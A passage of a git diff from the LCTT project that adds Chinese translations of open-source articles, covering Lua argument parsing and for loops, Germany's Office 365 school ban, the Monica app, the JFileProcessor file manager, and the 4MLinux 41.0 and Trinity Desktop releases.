[LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/11/Bodhi-Linux-7.0.0-Desktop.jpg +[2]: https://sourceforge.net/projects/bodhidev/files/7.0.0-alpha/ diff --git a/published/202212/20221129.3 ⭐️⭐️ Parse arguments with Lua.md b/published/202212/20221129.3 ⭐️⭐️ Parse arguments with Lua.md new file mode 100644 index 0000000000..3457ab1f9c --- /dev/null +++ b/published/202212/20221129.3 ⭐️⭐️ Parse arguments with Lua.md @@ -0,0 +1,127 @@ +[#]: subject: "Parse arguments with Lua" +[#]: via: "https://opensource.com/article/22/11/lua-command-arguments" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15321-1.html" + +用 Lua 解析参数 +====== + +![][0] + +> 参数对于交互式计算至关重要,Lua 编程语言提供了 `{...}` 表达式来封装在启动 Lua 脚本时给定的可变参数。 + +大多数计算机命令由两部分组成:命令和参数。命令是要执行的程序,而参数可能是命令选项或用户输入。如果没有这种结构,用户将不得不编辑命令的代码,以改变命令所处理的数据。想象一下重写 [printf][1] 命令只是为了让你的计算机用 “hello world” 消息问候你。参数对于交互式计算至关重要,[Lua 编程语言][2] 提供了 `{...}` 表达式来封装在启动 Lua 脚本时给定的可变参数。 + +### 在 Lua 中使用参数 + +几乎每一个给计算机的命令都假定一个参数,即使它期望参数是一个空列表。 Lua 会记录启动后写入的内容,即使你可能对这些参数不做任何操作。要在 Lua 启动时使用用户提供的参数,请迭代 `{...}` 表: + +``` +local args = {...} + +for i,v in ipairs(args) do + print(v) +end +``` + +运行代码: + +``` +$ lua ./myargs.lua +$ lua ./myargs.lua foo --bar baz +foo +--bar +baz +---- +``` + +参数是不安全的,Lua 会完全按照输入的方式打印所有参数。 + +### 解析参数 + +对于简单的命令,Lua 的基本功能足以解析和处理参数。这是一个简单的例子: + +``` +-- setup + +local args = {...} + +-- engine + +function echo(p) + print(p) +end + +-- go + +for i,v in ipairs(args) do + print(i .. ": " .. v) +end + +for i,v in ipairs(args) do + if args[i] == "--say" then + echo("echo: " .. args[i+1]) + end +end +``` + +在 `setup` 部分,将所有命令参数转储到名为 `args` 的变量中。 + +在 `engine` 部分,创建一个名为 `echo` 的函数,用于打印你“输入”其中的任何内容。 + +最后,在 `go` 部分,解析 `args` 变量(用户在启动时提供的参数)中的索引和值。在此示例代码中,为清楚起见,第一个 `for` 循环仅打印每个索引和值。 + +第二个 `for` 循环使用索引来检查第一个参数,它被假定是一个选项。此示例代码中唯一有效的选项是 `--say`。如果循环找到字符串 `--say`,它会调用 `echo` 函数,并将当前参数的索引 _加 1_(_下一个_ 参数)作为函数参数提供。 + +命令参数的分隔符是一个或多个空格。运行代码查看结果: + +``` +$ lua ./echo.lua --say zombie apocalypse +1: --say +2: zombie +3: apocalypse +echo: zombie +``` + +大多数用户都知道在向计算机发出命令时空格很重要,因此在这种情况下删除第三个参数是预期的行为。下面是演示两种有效“转义”方法的变体: + +``` +$ lua ./echo.lua --say "zombie apocalypse" +1: --say +2: zombie apocalypse +echo: zombie apocalypse + +$ lua ./echo.lua --say zombie\ apocalypse +1: --say +2: zombie apocalypse +echo: zombie apocalypse +``` + +### 解析参数 + +手动解析参数简单且无依赖性。但是,你必须考虑一些细节。大多数现代命令都允许使用短选项(例如,`-f`)和长选项(`--foo`),并且大多数命令都提供 `-h` 或 `--help` 或者在没有所需参数时显示帮助菜单。 + +使用 [LuaRocks][3] 可以轻松安装其他库。有一些非常好的工具,例如 [alt-getopt][4],它们为解析参数提供了额外的基础设施。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/lua-command-arguments + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/8/printf +[2]: https://opensource.com/article/22/11/lua-worth-learning +[3]: https://opensource.com/article/19/11/getting-started-luarocks +[4]: https://opensource.com/article/21/8/parsing-commands-lua +[0]: https://img.linux.net.cn/data/attachment/album/202212/06/111552sofsllzdfffgfakh.jpg \ No newline at end of file diff --git a/published/202212/20221130.1 ⭐️⭐️ Get to know Lua for loops in 4 minutes.md b/published/202212/20221130.1 ⭐️⭐️ Get to know Lua for loops in 4 minutes.md new file mode 100644 index 0000000000..8f382efbce --- /dev/null +++ b/published/202212/20221130.1 ⭐️⭐️ Get to know Lua for loops in 4 minutes.md @@ -0,0 +1,151 @@ +[#]: subject: "Get to know Lua for loops in 4 minutes" +[#]: via: "https://opensource.com/article/22/11/lua-for-loops" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15328-1.html" + +了解 Lua 的 for 循环 +====== + +![][0] + +> 了解 for 循环结构和你在控制它时拥有的选项,这样你可以对如何在 Lua 中处理数据做出聪明的决定。 + +在编程中,迭代是一个重要的概念,因为代码通常必须多次扫描一组数据,以便它可以单独处理每个项目。控制结构使你能够根据通常在程序运行时动态建立的条件来指导程序的流程。不同的语言提供不同的控制,在 [Lua][1] 中,有 `while` 循环、`for` 循环和 `repeat until` 循环。本文介绍 `for` 循环。我将在另一篇文章中介绍 `while` 和 `repeat until` 循环。 + +### for 循环 + +`for` 循环接受已知数量的项目并确保处理每个项目。“项目”可以是数字,它也可以是一个包含多个条目或任何 Lua 数据类型的表。语法和逻辑有点灵活,但语法允许这些参数,每个参数本质上描述了一个计数器: + +- 计数器的起始值 +- 停止值 +- 你希望计数器前进的增量 + +例如,假设你有三个项目并希望 Lua 处理每个项目。你的计数器可以从 3 开始一直持续到 1,增量为 -1。这呈现为 3、2、1 的计数。 + +``` +mytable = { "zombie", "Halloween", "apocalypse" } +for count = 3, 1, -1 do +  print(count .. ": " .. mytable[count]) +end +``` + +运行代码以确保所有三个项目都得到处理: + +``` +$ lua ./for.lua +3: apocalypse +2: Halloween +1: zombie +``` + +这段代码有效地“反向”处理了表,因为它是倒数。你可以正数: + +``` +for count = 1, 3, 1 do +  print(mytable[count]) +end +``` + +此示例从最低索引到最高索引处理表: + +``` +$ lua ./for.lua +1: zombie +2: Halloween +3: apocalypse +``` + +### 增量 + +你也可以更改增量。例如,也许你想要一个没有万圣节盛况的僵尸启示录: + +``` +mytable = { "zombie", "Halloween", "apocalypse" } +for count = 1, 3, 2 do +  print(mytable[count]) +end +``` + +运行代码: + +``` +$ lua ./for.lua +zombie +apocalypse +``` + +该示例打印了 1 和 3,因为第一个计数是 1,然后递增 2(总共 3)。 + +### 计数器 + +有时你不知道需要 Lua 遍历数据的次数。在这种情况下,你可以将计数器设置为由其他进程填充的变量。 + +另外,`count` 这个词不是关键字。为了清楚起见,这正是我在示例代码中使用的内容。程序员通常使用更短的名称,例如 `i` 或 `c`。 + +``` +var = os.time() +if var%2 == 0 then +  mytable = { var } +else +  mytable = { "foo", "bar", "baz" } +end +for c = 1, #mytable, 1 do +  print(mytable[c]) +end +``` + +此代码创建一个变量,其中包含启动时的时间戳。如果时间戳是偶数(除以 2 时模数为 0),则只将时间戳放入表中。如果时间戳是奇数,它将三个字符串放入一个表中。 + +现在你无法确定你的 `for` 循环需要运行多少次。可能是一次或是三次,但没有办法确定。解决方案是将起始计数设置为 1,将最终计数设置为表的长度(`#mytable` 是确定表长度的内置快捷方式)。 + +可能需要多次运行脚本才能看到这两个结果,但最终,你会得到如下结果: + +``` +$ lua ./dynamic.lua1665447960 +$ lua ./dynamic.lua +foo +bar +baz +``` + +### 带 pairs 和 ipairs 的 for 循环 + +如果你已经阅读了我关于 [表迭代][2] 的文章,那么你已经熟悉了 Lua 中最常见的 `for` 循环之一。这个使用 `pairs` 或 `ipairs` 函数来迭代一个表: + +``` +mytable = { "zombie", "Halloween", "apocalypse" } +for i,v in ipairs(mytable) do +  print(i .. ": " v) +end +``` + +`pairs` 和 `ipairs` 函数“解包”表并将值转储到你提供的变量中。在此示例中,我将 `i` 用于 _索引_,将 `v` 用于 _值_,但变量名称无关紧要。 + +``` +$ lua ./for.lua1: zombie2: Halloween3: apocalypse +``` + +### for 循环 + +`for` 循环结构在编程中很常见,由于经常使用表和 `pairs` 函数,因此在 Lua 中非常常见。了解 `for` 循环结构和控制它时的选项意味着你可以就如何在 Lua 中处理数据做出明智的决定。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/lua-for-loops + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/11/lua-worth-learning +[2]: https://opensource.com/article/22/11/iterate-over-tables-lua +[0]: https://img.linux.net.cn/data/attachment/album/202212/08/094609xg8sgk832t0y6s68.jpg \ No newline at end of file diff --git a/published/202212/20221201.2 ⭐️⭐️ Microsoft Office 365 Declared illegal for German Schools, Again!.md b/published/202212/20221201.2 ⭐️⭐️ Microsoft Office 365 Declared illegal for German Schools, Again!.md new file mode 100644 index 0000000000..37f815aec6 --- /dev/null +++ b/published/202212/20221201.2 ⭐️⭐️ Microsoft Office 365 Declared illegal for German Schools, Again!.md @@ -0,0 +1,95 @@ +[#]: subject: "Microsoft Office 365 Declared illegal for German Schools, Again!" +[#]: via: "https://news.itsfoss.com/microsoft-office-365-illegal-germany/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15315-1.html" + +微软 Office 365 再次在德国学校被宣布为非法 +====== + +> 再一次,微软因其 Office 365 的隐私问题而在德国受到抨击! + +![微软 Office 365 再次在德国学校被宣布为非法!][1] + +最近,我偶然看到 [Tutanota][2] 的一篇博文,说微软的 Office 365 再次被宣布在德国学校使用是非法的。 + +好吧,真让人吃惊!😬 + +上一次发生这种情况还是在 [2019 年][3],当时 Office 365 被禁止在德国黑森州Hesse的学校使用。 + +补充说明一下,Office 365 软件包提供了一套完善的专有工具,被全球许多专业人士使用,这就是它受欢迎的原因。 + +然而,正如德国当局指出的那样,它带来了相当多的隐私问题,这些问题还没有得到解决。 + +🛑 因此,德国数据保护会议(DSK、Datenschutzkonferenz)决定禁止在全国的学校使用微软 Office 365。 + +> 💡 DSK 是一个由独立的德国联邦和州数据保护监督机构组成的团体。 + +### 微软 Office 365 不能在德国学校使用 + +**一个大胆的举动:** DSK 已经禁止在学校使用微软 Office 365,理由是微软存在各种隐私侵犯的行为。 + +过去两年一直在进行谈判,以确保其符合欧洲数据保护标准。 + +然而,事情的结果并不理想。 + +在 [DSK][4] 的一份声明中,他们提到: + +> 控制者必须能够根据 GDPR 第 5(2) 条履行其责任义务。在使用微软 365 时,根据“数据保护附录”,在这方面仍然会遇到困难,因为微软没有完全披露具体发生了哪些处理操作。 +> +> 此外,微软没有完全披露哪些处理操作是代表客户进行的,哪些是为自己的目的进行的。 + +换句话说,他们觉得微软没有遵守 [GDPR][5] 的规定,而且微软一直缺乏透明度。 + +**与 2019 年那次有什么不同?:** 好吧,在被黑森州的学校取缔后,微软在 2019 年后做了一些改变。 + +但是,他们只是采用了欧盟委员会的一些标准合同条款,并更新了他们的《产品和服务数据保护 [附录][6]》,几乎只是表面功夫。 + +**这次又是什么原因造成的?:** 当 DSK 发现使用 Office 365 时,个人数据被发送到美国,使美国当局可以获得这些数据时,他们很不高兴。 + +他们还发现,如果不将个人数据传输到美国,就无法使用微软 Office 365。 + +因此,他们也建议私人用户不要使用 Office 365,因为不能信任微软对他们的数据的处理。 + +Tutanota 的人还指出,许多贸易学校使用 Office 365 来让他们的学生学习办公室工作。现在,他们将不得不使用微软 Office 的本地许可证(在本地部署)来实现同样的目的。 + +**下一步是什么?** 在最近的一份 [声明][7] 中,微软表示,他们不同意 DSK 的做法,并已采取措施,确保他们的 Office 365 产品符合欧洲数据标准,或者经常超过这些标准。 + +微软提到: + +> 我们谨记 DSK 关于提高透明度的呼吁。虽然我们的透明度标准已经超过了我们行业中的大多数其他供应商,但我们承诺会做得更好。 +> +> 特别是,我们将在我们计划的欧盟数据限制的框架内,在透明度的意义上提供关于我们客户的数据流和处理目的的进一步文档。 +> +> 我们还将增加欧盟以外的分包商和微软员工的地点和处理的透明度。 + +因此,总结一下。在遵守严格的欧盟数据处理准则方面,微软还有很长的路要走。 + +我认为德国学校应该改用 Linux,并选择开源的微软 Office 替代品,如 LibreOffice、Calligra、ONLYOFFICE [等等][8],以保证他们的数据安全并掌握在正确的人手中。 + +你怎么看?微软是否在努力保持其在德国的地位?欢迎分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/microsoft-office-365-illegal-germany/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/german-schools-ban-ms-office-365.png +[2]: https://tutanota.com/blog/posts/microsoft-office-365-email-alternative/ +[3]: https://www.zdnet.com/article/microsoft-office-365-banned-in-german-schools-over-privacy-fears/ +[4]: https://datenschutzkonferenz-online.de +[5]: https://en.wikipedia.org/wiki/General_Data_Protection_Regulation +[6]: https://www.microsoft.com/licensing/docs/view/Microsoft-Products-and-Services-Data-Protection-Addendum-DPA +[7]: https://news.microsoft.com/de-de/microsoft-erfuellt-und-uebertrifft-europaeische-datenschutzgesetze/ +[8]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ diff --git a/published/202212/20221201.3 ⭐️⭐️ Monica An Open-Source App for Personal Relationship Management.md b/published/202212/20221201.3 ⭐️⭐️ Monica An Open-Source App for Personal Relationship Management.md new file mode 100644 index 0000000000..c159ea92bb --- /dev/null +++ b/published/202212/20221201.3 ⭐️⭐️ Monica An Open-Source App for Personal Relationship Management.md @@ -0,0 +1,89 @@ +[#]: subject: "Monica: An Open-Source App for Personal Relationship Management" +[#]: via: "https://itsfoss.com/monica/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15346-1.html" + +Monica:人际关系管理的开源应用 +====== + +![][0] + +你可能已经知道 CRM 代表 客户关系管理Customer Relationship Management。 我们已经有了一份帮助小型企业的 [开源 CRM 软件][1] 列表。 + +在这里,我将讨论一个有趣的开源 Web 应用,它采用相同的人际关系概念。听起来很独特,对吧? + +Monica 是一款可让你组织和记录你与亲人互动的应用。**如果你自行托管,它是免费的,如果你需要托管版本那么订阅**。 + +### Monica:跟踪社交互动 + +![contacts][2] + +很难记住与家人、朋友或同事互动的每一个细节。 + +你可以使用 [笔记应用][3] 或 [CubyText][4] 等知识管理应用来添加一些信息。但这些并不是为记录你的互动而量身定制的。 因此,你将不得不付出一些努力,以在需要时得心应手的方式添加信息。 + +使用 Monica,添加你的家庭、工作、联系人之间的关系、活动、日记、重要日期的提醒、债务等信息变得更加容易。 + +可以将其安装在自己的服务器上或选择 **$90/年** 的订阅以获得托管版本。 + +有趣的是,开发人员最初是根据他的个人要求构建它的。 + +### Monica 的特点 + +![dashboard][5] + +你可以获得大量选项来添加有关你日常生活中的人和互动的信息。其中一些包括: + +- 添加关于一个人的注释 +- 列出与联系人相关的重要其他人的姓名(他们的孩子、宠物等) +- 通话记录 +- 每个联系人的备用联系方式 +- 重要约会和重要事件提醒。生日会自动设置为提醒。 +- 管理礼物信息 +- 有用的仪表板,一目了然 +- 支持日记条目 + +Monica 似乎配备了各种功能,使其成为写日记、做笔记、添加联系信息、添加事件等的一体化工具。 + +不幸的是,没有可用的移动应用。你可以从 Web 浏览器访问它,但它可能不是每个人的最佳体验。所以,如果你坚持用智能手机做笔记和其他东西,你可能想看看其他的。 + +### 自托管或订阅访问 + +如果你想要 Monica 的托管版本,可以查看它的 [定价页面][6] 了解更多信息。 + +对于自托管,你需要前往其 [GitHub 页面][7] 并按照说明下载并安装它。可以选择在 Platform.sh 或 Heroku 上快速部署。 + +在选择服务器来托管 Monica 之前,请检查最低系统要求。 + +没有特殊的高级功能,与托管版本的高级订阅相比,你在自行托管时获得相同的东西。 + +这一切都很方便。 所以,选择对你来说不错的。 + +前往其 [官方网站][8] 获取所有详细信息并开始使用。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/monica/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-open-source-crm/ +[2]: https://itsfoss.com/wp-content/uploads/2022/11/contacts.png +[3]: https://itsfoss.com/note-taking-apps-linux/ +[4]: https://news.itsfoss.com/cubytext-experimental-project/ +[5]: https://itsfoss.com/wp-content/uploads/2022/11/dashboard.png +[6]: https://www.monicahq.com/pricing +[7]: https://github.com/monicahq/monica#get-started +[8]: https://www.zdnet.com/article/microsoft-office-365-banned-in-german-schools-over-privacy-fears/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/14/093133zpw06jndpzbdpphp.jpg \ No newline at end of file diff --git a/published/202212/20221202.1 ⭐️⭐️ Try this Java file manager on Linux.md b/published/202212/20221202.1 ⭐️⭐️ Try this Java file manager on Linux.md new file mode 100644 index 0000000000..c32fe8144e --- /dev/null +++ b/published/202212/20221202.1 ⭐️⭐️ Try this Java file manager on Linux.md @@ -0,0 +1,68 @@ +[#]: subject: "Try this Java file manager on Linux" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-jfileprocessor" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15357-1.html" + +在 Linux 上试试这个 Java 文件管理器 +====== + +![][0] + +> JFileProcessor 作为一个 Linux 文件管理器,在设计和功能上都采取了极简理念。 + +计算机是一个奇特的文件柜,里面装满了虚拟文件夹和文件,等待着被引用、交叉引用、编辑、更新、保存、复制、移动、重命名和归类。在本文中,我将介绍一下 Linux 系统的文件管理器。 + +在 昇阳微系统Sun Microsystem 时代的末期,出现了一种叫做 Java 桌面系统Java Desktop System 的东西,奇怪的是它 _不是_ 用 Java 编写的。相反,它是(根据当时的 sun.com 上的描述)“对集成和优化的桌面软件的明智选择,大部分基于开源代码和开放标准”。它基于 GNOME,带有办公套件、电子邮件和日历应用、即时消息和“Java 技术”。我发现自己在思考用 Java 创建桌面需要什么。客观地说,桌面实际上并不包括那么多东西。一般的共识似乎是桌面由面板、系统托盘、应用菜单和文件管理器组成。 + +想象一个实际的 Java 桌面是一个有趣的思维练习。虽然不足以以此为目标启动一个开源项目,但足以在网络上快速搜索必要的组件。事实证明,有人用 Java 编写并维护了一个文件管理器。 + +### JFileProcessor + +我找到的 Java 文件管理器叫做 JFileProcessor,简称 JFP。它不仅是用 Java 编写的,更具体是说是用 [Groovy][1](一种流行的 Java 脚本语言)进行的一项迷人的实践。 + +![Image of the JfileProcessor folders.][2] + +作为文件管理器,JFileProcessor 在设计和功能上都采用了极简方式。它允许你查看、打开、移动、复制、剪切或删除本地系统和远程系统上的文件。它不是特别定制化的,它没有如拆分面板或可移动面板等额外功能。除了管理文件外,它没什么别的中心主题。JFileProcessor 在某种程度上令人耳目一新,因为它很简单。这是一个文件管理器,仅此而已。有时这就是你在文件管理器中想要的全部。 + +我之前写过关于 [设置 Java Swing 主题][3] 的方式,从技术上讲,该技术可以应用于这个开源应用。但是,我认为这个应用的部分魅力在于 OpenSolaris 称之为 “Blueprint” 的主题。这是 Java 的怀旧外观,我喜欢以其原生 GUI 外观运行它,作为对我的 OpenSolaris(现为 OpenIndiana)笔记本电脑的回忆。 + +### 用户体验 + +除了设计,真正重要的是用户体验。JFileProcessor 只有三个你日常使用的按钮:向上、后退和前进。它们未绑定到键盘快捷键,因此你必须单击按钮才能导航(或使用 `Tab` 键选择按钮)。在使用图形应用时,我经常使用键盘快捷键,所以当我尝试浏览我的系统时,这大大减慢了我的速度。但是,有时我实际上只是懒洋洋地浏览文件,因此 JFileProcessor 完全按照我的需要工作。 + +JFileProcessor 也有一个搜索组件。只要你设置合理的起始文件夹,搜索就会快速而智能,同时允许使用通配符和正则模式搜索。例如,当我搜索特定的电子书或漫画档案或游戏规则手册时,或者当我粗略地知道该目录包含一个项目但懒得一直点击到目的地址。在子目录中快速搜索,必然会得到明显的结果,然后双击打开文件,不管我设置了什么 XDG 偏好(Evince 用于 PDF,Foliate 用于电子书,等等)。 + +右键单击任何文件或目录会弹出上下文菜单。它具有你期望的大部分常见任务:复制、剪切、粘贴、删除、重命名、新建。它也有一些不错的额外功能。 + +![Right-click context menu in JFileProcessor][4] + +例如,你可以只将文件名复制到剪贴板或保存文件路径。你还可以运行一些脚本,包括用于批量重命名文件的脚本、用于对选定文件运行命令的脚本、用于创建 ZIP 或 TAR 存档的脚本等等。当然,编码器有多种选择,包括在当前位置打开终端和打开新的编码窗口。 + +### 安装 + +我是 Java 的忠实粉丝。它是一种清晰的语言,具有合理的分隔符和对跨平台兼容性的坚定立场。我喜欢它作为一种语言,我喜欢看到程序员用它创造的东西。 + +JFileProcessor 的名字很贴切。这是一种处理文件的有效方法,从某种意义上说,JFileProcessor 为你提供了一个简单的窗口来查看系统上的文件数据,并允许你以图形方式与它们进行交互,就像你可能在终端中与它们交互一样。它不是我用过的最高效的文件管理器,也不是功能最多的一个。然而,这是一个令人愉快的应用,为你提供了文件管理所需的基本工具,其相对较小的代码库使你可以在下午阅读一些精彩的内容。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-jfileprocessor + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/12/groovy +[2]: https://opensource.com/sites/default/files/2022-09/jfileprocessor.webp +[3]: https://opensource.com/article/22/3/beautify-java-applications +[4]: https://opensource.com/sites/default/files/2022-09/jfileprocessor-menu.webp +[0]: https://img.linux.net.cn/data/attachment/album/202212/17/121727uuepuz1q3qhgippd.jpg \ No newline at end of file diff --git a/published/202212/20221204.1 ⭐️ 4MLinux 41.0 stable is now available with SDL games + More.md b/published/202212/20221204.1 ⭐️ 4MLinux 41.0 stable is now available with SDL games + More.md new file mode 100644 index 0000000000..b241461da1 --- /dev/null +++ b/published/202212/20221204.1 ⭐️ 4MLinux 41.0 stable is now available with SDL games + More.md @@ -0,0 +1,90 @@ +[#]: subject: "4MLinux 41.0 stable is now available with SDL games + More" +[#]: via: "https://debugpointnews.com/4mlinux-41-0-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15318-1.html" + +4MLinux 41.0 稳定版发布 +====== + +![][1] + +> 新的 4MLinux 41.0 稳定版现已可供公众下载和安装。 + +4MLinux 是一个有十年历史的小型 Linux 发行版,主要有四个功能:维护Maintenance(如作为系统救援的现场 CD)、多媒体Multimedia(如播放视频 DVD)、微服务器 Miniserver(使用 inetd 守护程序),以及 神秘Mystery(小型 Linux 游戏)。它是独立开发的,也同时提供了 32 位镜像。是一个适合于老旧硬件的完美的 [轻量级 Linux 发行版][2]。 + +4MLinux 41.0 系列已经更新到其稳定版本。这个版本包括编辑文档的工具,如 LibreOffice 和 GNOME Office,可以用 DropBox 共享文件,用 Firefox 和 Chromium 浏览网页,用 Thunderbird 发送电子邮件,等等。它还包括 LAMP 服务器环境和 Perl、Python 和 Ruby 等编程语言。 + +以下是对这些变化的总结: + +![4MLinux 41.0 桌面][3] + +### 4MLinux 41.0:新增内容 + +首先,4MLinux 41.0 提供了 LibreOffice 7.4.3 和 GNOME Office(包括 AbiWord 3.0.5、GIMP 2.10.32 和 Gnumeric 1.12.52),用于编辑你的文档。此外,DropBox 151.4.4304 可用于分享你的文件,你可以使用 Firefox 107.0 和 Chromium 106.0.5249 来上网。 + +它包括了 Thunderbird 102.5.0,用于发送和接收电子邮件,Audacious 4.2 允许你享受你的音乐收藏。你还可以用 VLC 3.0.17.3 和 SMPlayer 22.2.0 观看视频,并在 Mesa 22.1.4 和 Wine 7.18 的帮助下进行游戏。 + +此外,4MLinux LAMP 服务器(Linux 6.0.9、Apache 2.4.54、MariaDB 10.6.11、PHP 5.6.40 和 PHP 7.4.33)也包括在内,可以用于设置你自己的 Web 服务器。4MLinux 41.0 稳定版还包括编程语言 Perl 5.36.0、Python 2.7.18、 Python 3.10.6 和 Ruby 3.1.2。 + +此外,这个版本还包括一些新的功能和应用程序。 + +开箱即用,它包括 FileZilla(FTP 客户端)、XPaint 和 GNU Paint(简单的图像编辑工具)和 nvme(管理 NVM-Express 分区的命令行工具),以及一系列小型 SDL 游戏。此外,还有几个可下载的扩展程序,包括 BlueGriffon(HTML 编辑器)、The Legend of Edgar(跳台游戏platform game)、ioquake3(Quake III 移植版)和 BZFlag(坦克大战游戏)。 + +SMPlayer 现在是 4MLinux 的默认视频播放器,Audacious 是默认音频播放器。在启动管理器 Syslinux 的帮助下,现在也可以将4MLinux 安装在 BTRFS 分区上。 + +### 更新摘要 + +- 主线 Linux 内核 6.0.9 +- jwm(乔氏窗口管理器)2.4.0 +- LibreOffice 7.4.3 +- GNOME Office (包括 AbiWord 3.0.5、GIMP 2.10.32 和 Gnumeric 1.12.52) +- DropBox 151.4.4304 +- Firefox 107.0 +- Chromium 106.0.5249 +- Thunderbird 102.5.0 +- Audacious 4.2 +- VLC 3.0.17.3 +- SMPlayer 22.2.0 +- Mesa 22.1.4 +- Wine 7.18 +- 4MLinux LAMP 服务器(包括:Linux 6.0.9、Apache 2.4.54、MariaDB 10.6.11、PHP 5.6.40 和 PHP 7.4.33) +- Perl 5.36.0 +- Python 2.7.18 +- Python 3.10.6 +- Ruby 3.1.2 + +### 下载 + +最新的版本 4MLinux 41.0,现在可以通过以下链接下载。 + +> **[下载 4MLinux 41.0][4]** + +这个版本包括了新的应用程序和功能,例如将 SMPlayer 作为默认的视频播放器,以及将 4MLinux 安装在带有 Syslinux 的 BTRFS 分区上的能力。我们鼓励你在 [虚拟机][5] 中试用 4MLinux,看看它提供的一切。 + +- [更新日志][6] +- [发布公告][7] + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/4mlinux-41-0-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/4mlinux-head.jpg +[2]: https://www.debugpoint.com/lightweight-linux-distributions-2022/ +[3]: https://debugpointnews.com/wp-content/uploads/2022/12/4MLinux-41.0-desktop.jpg +[4]: https://sourceforge.net/projects/linux4m/ +[5]: https://www.debugpoint.com/install-ubuntu-virtualbox/ +[6]: http://4mlinux.com/addons-41.0.txt +[7]: https://4mlinux-releases.blogspot.com/2022/12/4mlinux-410-stable-released.html diff --git a/published/202212/20221204.2 ⭐️⭐️ Trinity Desktop Environment R14.0.13 is now out with updates!.md b/published/202212/20221204.2 ⭐️⭐️ Trinity Desktop Environment R14.0.13 is now out with updates!.md new file mode 100644 index 0000000000..c625b97865 --- /dev/null +++ b/published/202212/20221204.2 ⭐️⭐️ Trinity Desktop Environment R14.0.13 is now out with updates!.md @@ -0,0 +1,117 @@ +[#]: subject: "Trinity Desktop Environment R14.0.13 is now out with updates!" +[#]: via: "https://debugpointnews.com/trinity-desktop-environment-r14-0-13/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15322-1.html" + +Trinity 桌面环境 R14.0.13 版发布更新 +====== + +![][1] + +> 怀念美好的旧式 KDE?Trinity 桌面环境新发布的小版本(TDE R14.0.13)带来了一些新功能和错误修复。以下是发布摘要。 + +![Trinity 桌面环境 R14.0.13][2] + +如果你是那些怀念美好的旧式 KDE(3.5)外观的人,那么你可以通过 Trinity 桌面环境(TDE)获得它。TDE 是一个由志愿者组成的小团队开发的一个复刻版的 KDE 3.5 桌面环境。它是 KDE 3 